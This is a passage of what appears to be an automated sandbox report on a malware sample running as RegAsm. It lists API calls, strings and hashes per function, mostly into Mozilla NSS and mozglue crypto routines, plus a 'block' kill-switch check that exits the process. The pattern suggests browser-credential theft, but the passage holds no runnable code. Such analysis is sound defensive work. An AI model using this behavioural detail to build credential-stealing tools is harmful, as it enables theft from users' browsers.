Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 2f633ccc9deb5d4fec6f6fc37c0d66ef96399f5d2b2b9573c0458cf532ec93dd
Instruction ID: d87f34d10cd7e776d9082823e963bd4509b661d19681f19aa336baef5a385c6f
Opcode Fuzzy Hash: 2f633ccc9deb5d4fec6f6fc37c0d66ef96399f5d2b2b9573c0458cf532ec93dd
Instruction Fuzzy Hash: 5F11D6A5E036221AD711AB763C05EEB386C6B6210CF189534E80DE5F01FB21C6CD83F2

Function 6C879590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8631C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C863217
Part of subcall function 6C8631C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C863236
Part of subcall function 6C8631C0: FreeLibrary.KERNEL32 ref: 6C86324B
Part of subcall function 6C8631C0: __Init_thread_footer.LIBCMT ref: 6C863260
Part of subcall function 6C8631C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C86327F
Part of subcall function 6C8631C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C86328E
Part of subcall function 6C8631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8632AB
Part of subcall function 6C8631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8632D1
Part of subcall function 6C8631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C8632E5
Part of subcall function 6C8631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C8632F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C879675
__Init_thread_footer.LIBCMT ref: 6C879697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C8796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C879707
__Init_thread_footer.LIBCMT ref: 6C87971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C879773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C8797B7
FreeLibrary.KERNEL32 ref: 6C8797D0
FreeLibrary.KERNEL32 ref: 6C8797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C879824

Strings

MapViewOfFileNuma2, xrefs: 6C8797B1
ntdll.dll, xrefs: 6C8796E3
NtMapViewOfSection, xrefs: 6C879701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C879670

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 75b1de1411a7962c29ca4f33a68d2165100464edf3a95b5f26d1842992d621d1
Instruction ID: 5adaa961285e6a0ba6b81cf6e41ee2849fbdf6a66d163c98f52d56e4413937a5
Opcode Fuzzy Hash: 75b1de1411a7962c29ca4f33a68d2165100464edf3a95b5f26d1842992d621d1
Instruction Fuzzy Hash: 1561C071600245ABDF708F69EE84B9A3BB1EB9F358F004939F91587790E730A844CBE1

Function 004112B0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004112D5
ExitProcess.KERNEL32 ref: 004112E1
strtok_s.MSVCRT ref: 004112F8

Strings

block, xrefs: 004112C7

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 1ba1f058e3e2379031d11e79f6d2bdd312730fa939e98f1981bd39696260f1a4
Instruction ID: b2aee4bd772402993bd8daf8ed4e127407cef198cc172b88b11a84757ccddcb3
Opcode Fuzzy Hash: 1ba1f058e3e2379031d11e79f6d2bdd312730fa939e98f1981bd39696260f1a4
Instruction Fuzzy Hash: 6451A574B00209EFDB14DFA0E944BEE37B5BF44B04F10804AE916A7361D778D996CB5A

Function 6C9E6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CAB1DE0,?), ref: 6C9E6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9E6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C9E6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C9E6D82
DER_GetInteger_Util.NSS3(?), ref: 6C9E6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9E6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C9E6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C9E6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C9E6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C9E6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C9E7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C9E7033
free.MOZGLUE(?), ref: 6C9E703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C9E7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C9E7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C9E70AF

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 47ae3eb25ee7c37ce83a20d0ae3a354e91074aface17b43175ab3b10b6381980
Instruction ID: 4b82a7c6b5fc9ca6a784bf15cec589e70483d7d7774aaa60d30769ed68a50d43
Opcode Fuzzy Hash: 47ae3eb25ee7c37ce83a20d0ae3a354e91074aface17b43175ab3b10b6381980
Instruction Fuzzy Hash: 39A12B71504205DBEB029B24CC45B6A36A9DFB930CF24893DEA19CBB81E735E855C793

Function 6C9AAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C98AB95,00000000,?,00000000,00000000,00000000), ref: 6C9AAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C98AB95,00000000,?,00000000,00000000,00000000), ref: 6C9AAF39
PR_Unlock.NSS3(?,?,?,6C98AB95,00000000,?,00000000,00000000,00000000), ref: 6C9AAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C98AB95,00000000,?,00000000,00000000,00000000), ref: 6C9AAF69
TlsGetValue.KERNEL32 ref: 6C9AB06B
EnterCriticalSection.KERNEL32(?), ref: 6C9AB083
PR_Unlock.NSS3(?), ref: 6C9AB0A4
TlsGetValue.KERNEL32 ref: 6C9AB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C9AB0D9
PR_Unlock.NSS3 ref: 6C9AB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9AB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9AB182

Part of subcall function 6C9DFAB0: free.MOZGLUE(?,-00000001,?,?,6C97F673,00000000,00000000), ref: 6C9DFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C9AB177

Part of subcall function 6CA2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA2C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C98AB95,00000000,?,00000000,00000000,00000000), ref: 6C9AB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C98AB95,00000000,?,00000000,00000000,00000000), ref: 6C9AB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C98AB95,00000000,?,00000000,00000000,00000000), ref: 6C9AB1C2

Part of subcall function 6C9D1560: TlsGetValue.KERNEL32(00000000,?,6C9A0844,?), ref: 6C9D157A
Part of subcall function 6C9D1560: EnterCriticalSection.KERNEL32(?,?,?,6C9A0844,?), ref: 6C9D158F
Part of subcall function 6C9D1560: PR_Unlock.NSS3(?,?,?,?,6C9A0844,?), ref: 6C9D15B2

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 3e936c72f81e04f3aef6f9b1fd14f0de0a7a72400400d55c41a96b278c27bc4d
Instruction ID: bc29e62578ec3d739b276b4e0147a18122c1a4e715ae2172006eccc44b3a273a
Opcode Fuzzy Hash: 3e936c72f81e04f3aef6f9b1fd14f0de0a7a72400400d55c41a96b278c27bc4d
Instruction Fuzzy Hash: 14A1A3B1D0020A9BEF049FA4DC41BEA77B4FF19308F144125E905A7751EB35EA9ACBE1

Function 6C9FAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9FADB1

Part of subcall function 6C9DBE30: SECOID_FindOID_Util.NSS3(6C99311B,00000000,?,6C99311B,?), ref: 6C9DBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C9FADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C9FAE08

Part of subcall function 6C9DB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAB18D0,?), ref: 6C9DB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9FAE25
PL_FreeArenaPool.NSS3 ref: 6C9FAE63
PR_CallOnce.NSS3(6CAE2AA4,6C9E12D0), ref: 6C9FAE4D

Part of subcall function 6C904C70: TlsGetValue.KERNEL32(?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904C97
Part of subcall function 6C904C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904CB0
Part of subcall function 6C904C70: PR_Unlock.NSS3(?,?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9FAE93
PR_CallOnce.NSS3(6CAE2AA4,6C9E12D0), ref: 6C9FAECC
PL_FreeArenaPool.NSS3 ref: 6C9FAEDE
PL_FinishArenaPool.NSS3 ref: 6C9FAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9FAEF5
PL_FinishArenaPool.NSS3 ref: 6C9FAF16

Strings

security, xrefs: 6C9FADEE

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 0946b369b5f9034bb46568f38ea215f6022a2e087768d49694cdf925b7b2d8eb
Instruction ID: 01b2464652a9dca6fb5eb0574aed34ad55cdac489a72da0e1450dab3c8743bc6
Opcode Fuzzy Hash: 0946b369b5f9034bb46568f38ea215f6022a2e087768d49694cdf925b7b2d8eb
Instruction Fuzzy Hash: 454138B190021467E7215B28DC84BAA32ACAF7630CF540525E96497F41FF35E95AC7E3

Function 6C9EE8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C9EE853,?,FFFFFFFF,?,?,6C9EB0CC,?,6C9EB4A0,?,00000000), ref: 6C9EE8D9

Part of subcall function 6C9E0D30: calloc.MOZGLUE ref: 6C9E0D50
Part of subcall function 6C9E0D30: TlsGetValue.KERNEL32 ref: 6C9E0D6D

Part of subcall function 6C9EC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C9EDAE2,?), ref: 6C9EC6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C9EE972
PORT_ArenaMark_Util.NSS3(?), ref: 6C9EE9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9EEA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C9EEA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C9EEA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C9EEA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C9EEA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C9EEACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C9EEB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C9EEBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C9EEBEC
free.MOZGLUE(00000000), ref: 6C9EEC58

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: 2d244cde151ecc4c812229aa2aee5f0ec5d1e1fad0c2e0998a1e06e10a80388b
Instruction ID: c21e169f9f3e3d2d3464fd716daea9bee7bc39b39d518e461194ec191f1886d5
Opcode Fuzzy Hash: 2d244cde151ecc4c812229aa2aee5f0ec5d1e1fad0c2e0998a1e06e10a80388b
Instruction Fuzzy Hash: 82C186B1E012059FEB06DF65D881BAA77F8BF2D318F180469E906A7B51E731E844CBD1

Function 6CA9AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA49890: TlsGetValue.KERNEL32(?,?,?,6CA497EB), ref: 6CA4989E

EnterCriticalSection.KERNEL32(?), ref: 6CA9AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CA9AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CA9AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CA9AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CA9B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CA9B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CA9B070
PR_JoinThread.NSS3(?), ref: 6CA9B07B
free.MOZGLUE(?), ref: 6CA9B084
EnterCriticalSection.KERNEL32(?), ref: 6CA9B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CA9B0C4
PR_JoinThread.NSS3(?), ref: 6CA9B0F3
free.MOZGLUE(?), ref: 6CA9B0FC
PR_JoinThread.NSS3(?), ref: 6CA9B137
free.MOZGLUE(?), ref: 6CA9B140

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 9051ca108cd7d125037198b99e2c50cb8d50ecba72fd097847406059883589d3
Instruction ID: cb39a7737723b600af1dabb1db9e2c5457b58d0e79fc565ba554d90ade218a58
Opcode Fuzzy Hash: 9051ca108cd7d125037198b99e2c50cb8d50ecba72fd097847406059883589d3
Instruction Fuzzy Hash: 779190B5900601CFCB14DF24D985946BBF1FF49318729C6A9D8195BB21E732FC9ACB90

Function 6C998DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C998E22
EnterCriticalSection.KERNEL32(?), ref: 6C998E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C998E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C998E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C998E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C998EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C998EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C998EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C998F00
free.MOZGLUE(?), ref: 6C998F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C998F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C998F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C998F5B
PR_Unlock.NSS3(?), ref: 6C998F72
PR_Unlock.NSS3(?), ref: 6C998F82

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 0688534e67ee426c02486e611418662cadebe29570c5d20819dcce5e60f4f4b0
Instruction ID: e4a7b7e0fb508cb37f4d6bc7980c7cbb7d4a2371fd6266edaeeae65ba2763e5b
Opcode Fuzzy Hash: 0688534e67ee426c02486e611418662cadebe29570c5d20819dcce5e60f4f4b0
Instruction Fuzzy Hash: 535136B2D00215AFEB049F68CC8596AB7B9FF55318F18812EEC089B700E731ED5587E5

Function 6CA90FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CA91000

Part of subcall function 6CA49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C971A48), ref: 6CA49BB3
Part of subcall function 6CA49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C971A48), ref: 6CA49BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CA91016

Part of subcall function 6CA2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA2C2BF

PR_Unlock.NSS3(?), ref: 6CA91021

Part of subcall function 6CA2DD70: TlsGetValue.KERNEL32 ref: 6CA2DD8C
Part of subcall function 6CA2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA2DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA91046
PR_Unlock.NSS3(?), ref: 6CA9106B
PR_Lock.NSS3 ref: 6CA91079
PR_Unlock.NSS3 ref: 6CA91096
free.MOZGLUE(?), ref: 6CA910A7
free.MOZGLUE(?), ref: 6CA910B4
PR_DestroyCondVar.NSS3(?), ref: 6CA910BF
PR_DestroyCondVar.NSS3(?), ref: 6CA910CA
PR_DestroyCondVar.NSS3(?), ref: 6CA910D5
PR_DestroyCondVar.NSS3(?), ref: 6CA910E0
PR_DestroyLock.NSS3(?), ref: 6CA910EB
free.MOZGLUE(?), ref: 6CA91105

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 8699ed04389ab20a6db2a1c364f36b2f9a64640d5dfe4b9a8996a050a002fc13
Instruction ID: 3fb0a4d49cb964b533661266c5ed916f3325f7f170934f0efad7125430359bdb
Opcode Fuzzy Hash: 8699ed04389ab20a6db2a1c364f36b2f9a64640d5dfe4b9a8996a050a002fc13
Instruction Fuzzy Hash: 4731AFB5A00512ABE7029F10EE42A95B7B5BF1531CF588130D50903F61E732F9B8EBD2

Function 6C9CEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C9CEE0B

Part of subcall function 6C9E0BE0: malloc.MOZGLUE(6C9D8D2D,?,00000000,?), ref: 6C9E0BF8
Part of subcall function 6C9E0BE0: TlsGetValue.KERNEL32(6C9D8D2D,?,00000000,?), ref: 6C9E0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9CEEE1

Part of subcall function 6C9C1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C9C1D7E
Part of subcall function 6C9C1D50: EnterCriticalSection.KERNEL32(?), ref: 6C9C1D8E
Part of subcall function 6C9C1D50: PR_Unlock.NSS3(?), ref: 6C9C1DD3

TlsGetValue.KERNEL32 ref: 6C9CEE51
EnterCriticalSection.KERNEL32(?), ref: 6C9CEE65
PR_Unlock.NSS3(?), ref: 6C9CEEA2
free.MOZGLUE(?), ref: 6C9CEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C9CEED0
PR_Unlock.NSS3(?), ref: 6C9CEF48
free.MOZGLUE(?), ref: 6C9CEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C9CEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C9CEFA4
free.MOZGLUE(?), ref: 6C9CEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C9CF055
free.MOZGLUE(?), ref: 6C9CF060

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
